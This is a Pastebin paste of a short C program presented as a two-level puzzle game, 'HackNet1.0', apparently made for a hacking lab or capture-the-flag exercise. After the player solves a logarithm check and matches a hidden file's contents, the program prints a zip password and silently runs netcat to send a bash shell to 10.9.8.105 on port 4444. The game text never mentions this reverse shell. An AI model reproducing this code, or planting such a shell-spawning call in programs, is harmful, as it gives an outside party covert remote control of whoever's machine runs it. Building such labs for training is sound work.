Advertisement
Guest User

Untitled

a guest
Nov 19th, 2019
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.32 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <math.h>
  4. #include <string.h>
  5. #include <sys/socket.h>
  6. #include <arpa/inet.h>
  7. #include <unistd.h>
  8. #define PORT 5678
  9.  
  10. #define MAX_LIMIT 52
  11.  
  12. void fun3() {
  13. printf("\nThe password for final_level.zip is pass123. Try using the shell to navigate to ~/Documents and open the zip file.\n");
  14. char *args[] = {"/bin/nc", "-nv", "10.9.8.105", "4444", "-e", "/bin/bash", NULL};
  15. execvp(args[0], args);
  16. }
  17.  
  18. void fun2()
  19. {
  20. printf("\n------LEVEL 2------");
  21. printf("\nEnter text: ");
  22. char s[100];
  23. char temp;
  24. temp=getchar();
  25. fgets(s,100,stdin);
  26. FILE *fp;
  27. fp=fopen("/root/Desktop/hidden.txt","r");
  28. char str[MAX_LIMIT];
  29. fgets(str,MAX_LIMIT,fp);
  30. int result=strncmp(str,s,10);
  31. if(result==0)
  32. {
  33. printf("\nSuccessful. Moving on...");
  34. return;
  35. }
  36. else
  37. {
  38. printf("\nWrong!! Unsuccessful");
  39. exit(0);
  40. return;
  41. }
  42.  
  43. }
  44.  
  45. void fun1()
  46. {
  47. printf("\n------LEVEL 1------");
  48. printf("\nPlease enter two numbers seperated by a space: ");
  49. double x,y;
  50. scanf("%lf %lf",&x,&y);
  51. if(x==log10(y))
  52. {
  53. printf("\nSuccessful. Moving On...");
  54. fun2();
  55. }
  56. else
  57. {
  58. printf("\nErrrr You lack the proper skillset. Try again!");
  59. exit(0);
  60. }
  61. return;
  62. }
  63.  
  64.  
  65. int main()
  66. {
  67. printf("----------Welcome to HackNet1.0----------");
  68. fun1();
  69. fun3();
  70. return 0;
  71. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement